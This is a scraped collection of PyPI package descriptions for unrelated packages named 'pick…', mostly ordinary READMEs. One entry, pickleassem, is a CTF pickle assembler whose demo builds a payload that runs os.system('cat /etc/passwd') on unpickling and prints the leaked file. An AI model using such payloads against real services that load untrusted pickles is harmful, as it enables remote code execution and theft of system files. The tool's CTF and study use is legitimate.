Saravanan666/pypi-org huggingface dataset:
Package: pick3letters
Pick3lettersPick3letters is a program to help inspire you to create poetry or
prose by taking a random string (hexadecimal strings and Torrent
magnet links are currently supported) and outputting lists of word
prefixes you can use. Just for fun, and for confirming that you used
the right prefixes, it also supports recovering the original hex
string or a working magnet link from the poetry or prose they came up
with.UsageThe output of pick3letters is a sequence of prefix lists, one per
line. For each line, choose a word of at least 4 letters that starts
with one of the prefixes. You may use capital letters and punctuation
at the end of a word, but any word that starts with punctuation or has
any punctuation mark within the prefix will be ignored during
decoding. Words shorter than 4 letters will also be ignored, making it
easy to insert articles, conjunctions, or fill words where needed
while still being able to check your work by "decoding" it.To "encode", pass-e. To get back the original data, pass-d. If
your input or desired output is a hex string, pass-x, or if you
want to use a magnet link pass-m.The prefix listThe list of prefixes was generated withpick3letters/generate.py. That takes a list of words and their
counts as input and generates a specified number of prefix lists as
output, such that the sum of counts of each prefix in a group is
approximately the same. It also allows filtering the list of words by
minimum count to avoid unusual prefixes or typoes. You can also change
the prefix length, the number of groups (which must be a power of 2),
and the minimum word length.Generating new prefix listsYou can run the generator withpython3 -m pick3letters.generatefor
usage information. For now, you'd need to replace prefixes.py with its
output, though at some point I'll probably add support for multiple
prefix lists.
Package: pickApp
PickAppPackage to perform apple picking experiments with a UR5 robotic manipulator and a 3-finger underactuated gripper.ContactAlejandro Velasquezvelasale@oregonstate.eduRobotics PhD StudentDescriptionThis package takes datasets of apple picks performed with a robotic manipulator UR5e and a robotic gripper as end effector.
The picks are performed in a real tree and in an apple proxy that emulates the physics of the apple tree.
Hence, this package is useful for the user to:Compare time-series plots from real and proxy picks.Obtain statistics about the experiments, such as the distribution of cartesian and angular noise.Do basic machine learning to check if - with the given data - it is possible to train a classifier and predict the outcome of the pick (e.g. successful, failed).For brief usage instructions, type:$ python compare_pics.py --help
$ python machine_learning.py --help
$ python metadata_stats.py --helpExamplesmodule: compare_picks.pyThe following example analyzesvariable'Force_x', among the 'failed' pickscase, and does the Dynamic Time Warping (DTW) analysis during the 'pick'phase.$ python compare_picks.py --variable force_z --case failed --phase pickIt outputs a time-series plot with the closest real and proxy picks.
It also outputs a .csv file with a list of the real and proxy picks that are comparable. Comparable picks are the ones where the pose of the robot with respect to the apple is the same.
These files are stored in the sub-folderresults.module: machine_learning.pyThe following example runs a Random Forest Classifier (RFC), with 10experimentsto account for the classifier's stochasticity, with adepthof 5 branches, and utilizes 5features.$ python machine_learning.py --experiments 10 --depth 5 --feature 5 --classifier rfcIt outputs a boxplot with the classifier's accuracies during the experiments.
The boxplot gets stored in a .pdf file, along with a .txt file with the confusion matrix of the best accuracy.
These files are stored in the sub-folderresults.module: metadata_stats.pyIn the following example, the statistic analysis is run for the dataset3_proxy_winter22_x1.$ python metadata_stats.py --dataset 3_proxy_winter22_x1It outputs .pdfs with box-plots of the angular and cartesian noise.
It also outputs a .txt file with Mean, SD and percentiles of each noise.
These files are stored in the sub-folderresults.x_noises
Mean: -0.012SD: 0.014Percentiles: [-0.02  -0.01   0.003]
y_noises
Mean: -0.005SD: 0.01Percentiles: [-0.015 -0.007  0.   ]
z_noises
Mean: -0.012SD: 0.006Percentiles: [-0.015 -0.01  -0.005]
roll_noises
Mean: -4.846SD: 12.74Percentiles: [-10.  -5.   5.]
pitch_noises
Mean: -4.382SD: 12.627Percentiles: [-10.   0.   5.]
yaw_noises
Mean: 0.0SD: 0.0Percentiles: [0. 0. 0.]InstallationTipsTips to write better functionshttps://pybit.es/articles/writing-better-functions/Git cheat-sheethttps://education.github.com/git-cheat-sheet-education.pdfMarkDown cheat-sheethttps://www.markdownguide.org/cheat-sheet/
Package: picked-group-fdr
Picked Protein Group FDRScalable, accurate and sensitive protein group FDRs for large-scale mass spectrometry experiments.Different search engine outputs are supported:MaxQuant(LFQ, TMT, SILAC)Percolator(no quantification)FragPipe(LFQ)Sage(LFQ)Examples on how to run Picked Protein Group FDR with these different search engine outputs can be found in thedata/folder.Running Picked Protein Group FDR using the GUIOn Windows, you can download thePickedGroupFDR_GUI_windows.zipfrom thelatest release, unzip it and openPickedGroupFDR.exeto start the GUI (no installation necessary).Make sure that you have run your database search with 100% protein-level FDR.Alternatively, on all platforms, first install Picked Protein Group FDR as explained below. Then installPyQt5(pip install PyQt5) and run:pythongui.pyRunning Picked Protein Group FDR from the command line (MaxQuant results)install Picked Protein Group FDR as explained below.make sure that you have run the MaxQuant search with 100% protein-level FDR.the posterior error probabilities (PEP) of MaxQuant are not well-calibrated. Therefore, we first recalculate these withMokapot(=Percolatorfor Python):python3-u-mpicked_group_fdr.pipeline.andromeda2pin</path/to/mq_evidence_txt>--outputTabandromeda.tab--databases</path/to/fasta_file>
python3-u-mpicked_group_fdr.pipeline.run_mokapot0.010.01percolator<num_threads>
python3-u-mpicked_group_fdr.pipeline.update_evidence_from_pout--mq_evidence</path/to/mq_evidence_txt>--perc_resultspercolator/andromeda.mokapot.psms.txtpercolator/andromeda.mokapot.decoy.psms.txt--mq_evidence_outpercolator/evidence.txtAlternatively, you can useProsit's Percolator results files directly:python3-u-mpicked_group_fdr.pipeline.update_evidence_from_pout--mq_evidence</path/to/mq_evidence_txt>--perc_resultsprosit_target.psmsprosit_decoy.psms--mq_evidence_outpercolator/evidence.txt--pout_input_typeprositto obtain protein group level FDRs, run:python-mpicked_group_fdr--mq_evidencepercolator/evidence.txt--fasta</path/to/fasta_file>InstallationPicked Protein Group FDR is available on PyPI and can be installed withpip:pipinstallpicked_group_fdrAlternatively, you can install directly from this repository:gitclonehttps://github.com/kusterlab/picked_group_fdr.git
pipinstall.Manuscript figuresTo reproduce the figures from the manuscript:make sure that you havemakeinstalled.download the input files from zenodo:https://zenodo.org/record/7157677specify the location of the input files and run the make command with the figure you want to reproduce, e.g.:exportDATA_DIR=</path/to/zenodo/files>
makeFigure3aCheck the fileMakefileFiguresto see which figures are available.
Package: pickemOdder
pickemOdderParse input game stats and output rank orderd picksFree software: MIT licenseDocumentation:https://pickemOdder.readthedocs.io.FeaturesTODOCreditsThis package was created withCookiecutterand theaudreyr/cookiecutter-pypackageproject template.History0.1.0 (2019-09-18)First release on PyPI.
Package: picker
A sports picker app for various leagues.TemplatesThe default, included templates are allBootstrap 3based.DemoFor Linux/Mac OS X:$gitclonehttps://github.com/dakrauth/picker.git$cdpicker/demo$makeinit$./manage.pyrunserverBrowse to:http://127.0.0.1:8000Userdemo, passworddemohas management rights. Users [user1,user2, …,user9]
all share passwordpassword.MetaDistributed under the MIT License, seeLICENSEfile for more information.https://github.com/dakrauth/picker
Package: pickerUI
pickerUIis a small python library to help you create interactive selection list in the terminal. See it in action:Installation$ pip install pickerUIUsagepickcomes with a simple api:>>> from pickerUI import pick

>>> target, level = pick({"A":[0,1,2], "B":[0,1,2]})
>>> print(target, level)run:python test.py

A:
    0
 => 1
    2
B:
    0
    1
    2output:1 A
Package: picketapi
picket-pythonThe official Python library for thePicket APIInstallationpipinstall-UpicketapiUsage - Quick StartUse thePicketclass to create the Picket API client. It takes asecret API keyas a parameter.frompicketapiimportPicketpicket=newPicket("YOU_SECRET_API_KEY")NonceAnonceis random value generated by the Picket API to that user must sign to prove ownership a wallet address. Thenoncefunction can be used to implement your own wallet authentication flow.A nonce is unique to a project and wallet address. If anoncedoesn't exist for the project and wallet address, Picket will generate a new nonce; otherwise, Picket will return the existing nonce. A nonce is valid for two minutes before self-destructing.resp=picket.nonce(chain="solana",wallet_address="wAlLetTAdDress")# resp is of type NonceResponseprint(resp.nonce)Authauthis the server-side equivalent of login.authshould only be used in a trusted server environment. The most common use-case forauthislinking a wallet to an existing application account.resp=picket.auth(chain="ethereum",wallet_address="0x1234567890",signature="abcdefghijklmnop")# resp is of type AuthResponseprint(resp.user)print(resp.access_token)Authz (Authorize)authzstands for authorization. Unlike Auth, which handles both authentication and authorization, Authz only handles authorization.
Given an authenticated user's access token and authorization requirements,authzwill issue a new access token on success (user is authorized) or, on failure, it will return a 4xx HTTP error code.resp=picket.authz(access_token="xxx.yyy.zzz",requirements={"contractAddress":"0xContract"})# resp is of type AuthResponseprint(resp.user)print(resp.access_token)Validatevalidatevalidates an access token.validateshould be called, or manually access token validation should be done, server-side before trusting a request's access token. It's common to move access token validation and decoding logic to a shared middleware across API endpoints.
If the access token is valid, validate returns the decoded claims of the access token.resp,err:=picket.validate(access_token="xxx.yyy.zzz",requirements={"contractAddress":"0xContract","minTokenBalance":"100"})# Response is the decoded access token (AuthorizedUser)print(resp)Verify Token OwnershipIf you only want to verify token ownership server side for a given wallet,tokenOwnershipallows you to do just that.resp=picket.token_ownership(chain="solana",wallet_address="waLLETaddRess",requirements={"collection":"METAPLEX_COLLECTION","minTokenBalance":"3",})# Response is of type TokenOwnershipResponseprint(resp.allowed)print(resp.tokenBalances)
Package: pickey
You may want to provide a picture which contain a human readable keycode
when register or login. This picture is difficult to be recognized by computer
but easily for human. So some site require it to ban robot.A python class “PicKey” and a WSGI middleware application are provided by
pickey, they can generate picture confirmation keycode. Many options are
provided to adjust the outlooking of the generated picture.pickey use “gd” to render picture and use “Beaker” to support session.
Package: pickitup
PickItUpSuper-simple way to categorize files in a messy directory. And it's only 4 KB!PickItUp can categorize files by:File type(video,photo,archive etc.)Size of fileLast modification dateHow To InstallIf pip is not installedsudo apt install pip3Install pickitup package withpip3 install pickitupOpen your folder in terminal and runpickitup(Don't run program in /home folder :) )How It Works:Lists all files in directory (os.listdir)files=os.listdir(os.curdir)filelist=[]forfinfiles:filelist.append(f)Takes user input for category typeprint("PickItUp 1.0\nCommands:\next: Folder by extension\ndate: Folder by modification date\nsize: Folder by file size\nquit: Quit PickItUp")action=input("> ")By file extensionforfileinfilelist:filename,file_extension=os.path.splitext(file)forcategoryintypes:iffile_extensionintypes[category]:dst_path="./"+category+"/"+filesrc_path="./"+filetry:shutil.move(src_path,dst_path)except:passBy file size (<1MB for example)forfileinfilelist:file_source="./"+filefile_size=os.stat(file_source)iffile_size.st_size<1000000:ifos.path.exists("./Less Than 1 MB")==False:os.makedirs("./Less Than 1 MB")try:shutil.move(file_source,"./Less Than 1 MB/"+file)except:passBy modification dateforfileinfilelist:file_source="./"+filefile_mod_date=time.localtime(os.path.getmtime(file_source))folder_name=calendar.month_abbr[file_mod_date.tm_mon]+" "+str(file_mod_date.tm_year)folder_path="./"+folder_nameifos.path.exists(folder_path)==False:os.makedirs(folder_path)try:shutil.move(file_source,folder_path)except:passSpecial Thanks ToDyne.org-file-extension-list
Package: pick-kernel
Customize your kernels on launch!Pick's magic lets you customize your virtual environments, conda environments, and Jupyter kernels. If you have mountains of data or models, you can use Pick to easily climb to peak efficiency -- composable, on-the-fly environments and kernels created within a notebook cell.Not ready for wide installation yet. If you're ready to try it out, start with the development version detailed below.RequirementsPython 3.7DevelopmentClone the repository and install it in dev mode:git clone https://github.com/rgbkrk/pick
cd pick
pip3 install -e .Create the kernelspecpick-install --userPurpose & BackgroundWhen working in a notebook, we want a way to choose resources to launch in the background, create a kernel environment, and inform the user when the kernel and custom resources are ready. Creating a conda environment, launching a spark cluster, or running an ipython kernel inside of a conda environment are examples of things we wanted to do from within a notebook.When we were looking at initial design, we considered the approach of changing the Jupyter APIs to allow setting additional parameters on launch. This would have required changes at the/api/kernelspecs,/api/kernel, each of the UIs, and even the way that kernels are launched by the notebook server, jupyter client, jupyter console, and papermill. Possible, but we wanted something simpler for notebook users and developers.Instead, we decided to use magic -- kernel magic. In the style of other cell magics, we wanted Pick to give users a flexible kernel magic in a notebook cell.As an example, here's how a kernel magic for creating a kernel that uses a conda environment would work:%%kernel.conda-environment

name: example-environment
channels:
  - conda-forge
dependencies:
  - numpy
  - psutil
  - toolz
  - matplotlib
  - dill
  - pandas
  - partd
  - bokeh
  - daskIn action, it works like this:While Pick is working to get the magic's underlying kernel ready, Pick emits logs to the frontend and keeps the notebook UI responsive.A similar example with Pick and kernel magics includes setting up spark and its associated environment variables in advance of launching the ipython kernel. Pick opens up possibilities for other creative ways of starting a kernel from an environment.Truth: It's a kernel proxy!Pick's design focuses on making it really easy for a user to configure a kernel without having to mess with extensions across all the myriad jupyter projects or executing tasks from the command line. Pick works as a regular Jupyter kernel with the additional ability to create, customize, and manage a "child" kernel.We set up Pick's initial communications protocol with the jupyter client, whether that be the notebook server or papermill. Next, the%%kernel.*magic runs, and we launch the "real" kernel.
Package: pickl
Pickle is a simple live Pi calculator that can run on Casio fx-CG50
calculators or any Casio calculator that has MicroPython.Documentationintgrlpi(int amount, int precision,o=False)Calculates pi using the Gregory-Leibniz algorithm.intnkpi(int amount, int precision,o=False)Calculates pi using the Nilakantha algorithm.intgrlpi(int amount, int precision,o=False)Calculates pi using the Archimedes algorithm. Cannot go higher than 511 iterations.intgalpi(int amount, int precision,o=False)Calculates pi using the Gauss-Legendre algorithm.intcpi(int amount, int precision,o=False)Calculates pi using my algorithm, the Chris’ algorithm.
Package: picklable-itertools
picklable-itertoolsA reimplementation of the Python standard library’sitertools, in Python,
using picklable iterator objects. Intended to be Python 2.7 and 3.4+
compatible. Also includes picklable, Python {2, 3}-compatible implementations
of some related utilities, including some functions from theToolzlibrary,
inpicklable_itertools.extras.Why?Because the standard library pickle module (nor the excellentdillpackage)
can’t serialize all of theitertoolsiterators, at least on Python 2
(at least some appear to be serializable on Python 3).Because there are lots of instances where these things initertoolswould
simplify code, but can’t be used because serializability must be maintained
across both Python 2 and Python 3.  The in-development frameworkBlocksis
our first consumer. We’d like to be able to serialize the entire state of a
long-running program for later resumption. We can’t do this with
non-picklable objects.PhilosophyThis should be a drop-in replacement.Pretty self-explanatory. Test
against the standard libraryitertoolsor builtin implementation to
verify behaviour matches. Where Python 2 and Python 3 differ in their
naming, (filterfalsevsifilterfalse,zip_longestvs.izip_longest)
we provide both. We also provide names that were only available in the
Python 2 incarnation ofitertools(ifilter,izip), also available
under their built-in names in Python 3 (filter,zip), for convenience.
As new objects are added to the Python 3itertoolsmodule, we intend
to add them (accumulate, for example, appears only in Python 3, and a
picklable implementation is contained in this package.)Handle built-in types gracefully if possible.List iterators, etc.
are not picklable on Python 2.x, so we provide an alternative
implementation. File iterators are handled transparently as well. dict
iterators and set iterators are currentlynotsupported.picklable_itertools.xrangecan be used as a drop-in replacement for
Python 2xrange/Python 3range, with the benefit that the iterators
produced by it will be picklable on both Python 2 and 3.Premature optimization is the root of all evil.These things are
implemented in Python, so speed is obviously not our primary concern. Several
of the more advanced iterators are constructed by chaining simpler iterators
together, which is not the most efficient thing to do but simplifies the
code a lot. If it turns out that speed (or a shallower object graph) is
necessary or desirable, these can always be reimplemented. Pull requests
to this effect are welcome.
Package: picklachu
PicklachuPickle data and store it somewhere2 built-in storage typesS3local filesystemMore can be derived from BaseStorageUsagePersisting data:from picklachu import Picklachu

with Picklachu(LocalStorage('/tmp/')) as picklachu:
    picklachu.i_pickle_you({'foo':'bar'}, 'foobar')Retrieving data:from picklachu import Picklachu

with Picklachu(LocalStorage('/tmp/')) as picklachu:
    picklachu.evolve('foobar') #  will return {'foo', 'bar'}
Package: pickle5
This package backports all features and APIs added in thepicklemodule
in Python 3.8.3, including thePEP 574additions.  It should
work with Python 3.5, 3.6 and 3.7.Basic usage is similar to thepicklemodule, except that the module
to be imported ispickle5:importpickle5aspicklepb=pickle.PickleBuffer(b"foo")data=pickle.dumps(pb,protocol=5)assertpickle.loads(data)==b"foo"Detailed documentation can be found in PEP 574 and the standardpickle documentation.
Package: pickleassem
pickleassemA simple pickle assembler to make handcrafting pickle bytecode easier.This is useful for CTF challenges likepyshv in Balsn CTF 2019.DemoimportpickleimportpickletoolsfrompickleassemimportPickleAssemblerpa=PickleAssembler(proto=4)pa.push_mark()pa.util_push('cat /etc/passwd')pa.build_inst('os','system')payload=pa.assemble()assertb'R'notinpayloadprint(payload)pickletools.dis(payload,annotate=1)pickle.loads(payload)Output:b'\x80\x04(\x8c\x0fcat /etc/passwdios\nsystem\n.'
    0: \x80 PROTO      4 Protocol version indicator.
    2: (    MARK         Push markobject onto the stack.
    3: \x8c     SHORT_BINUNICODE 'cat /etc/passwd' Push a Python Unicode string object.
   20: i        INST       'os system' (MARK at 2) Build a class instance.
   31: .    STOP                                   Stop the unpickling machine.
highest protocol among opcodes = 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...InstallationInstall with pip:pip install -U pickleassemDocumentationJust refer to the source code. Each method ofPickleAssemblerwhose name begins withpush,build,popormemocorresponds to a pickle opcode. Methods whose name begins withutilare higher-level utility functions.append_rawcan be used to insert arbitrary raw opcode.The following opcodes and corresponding features are not implemented:PERSID,BINPERSID,EXT1,EXT2,EXT4,FRAME,NEXT_BUFFER,READONLY_BUFFER.See AlsoOther tools for pickle exploit:anapickle:slides,repopwnypack.pickle
Package: pickleback
Matplotlib backend defining export to pickle (extension.pklor.pickle).Interactive usage:>>> import pickleback
>>> pickleback.register()
>>> my_figure.savefig('/path/to/output.pkl')  # doctest: +SKIPScript-based usage, assuming my script usessavefigto the path specified
by-o:$ python -m pickleback /path/to/myscript.py -o /path/to/output.pklor:$ python -m pickleback -m my_module.command -o /path/to/output.pkl
Package: pickle-blosc
pickle-bloscRead and write Pickle files using Blosc compression.InstallFrom terminal, enterpip install pickle-bloscUsage>>>frompickle_bloscimportpickle,unpickle>>>>>>classA(object):>>>def__init__(self,value):>>>self.value=value>>>>>>pickle(A(10),"filename.pkl")>>>a=unpickle("filename.pkl")>>>print(a.value)10Running the testsAfter installation, you can test itpython -c "import pickle_blosc; pickle_blosc.test()"as long as you havepytest.AuthorsDanilo Horta-https://github.com/HortaLicenseThis project is licensed under the MIT License - see theLICENSEfile for details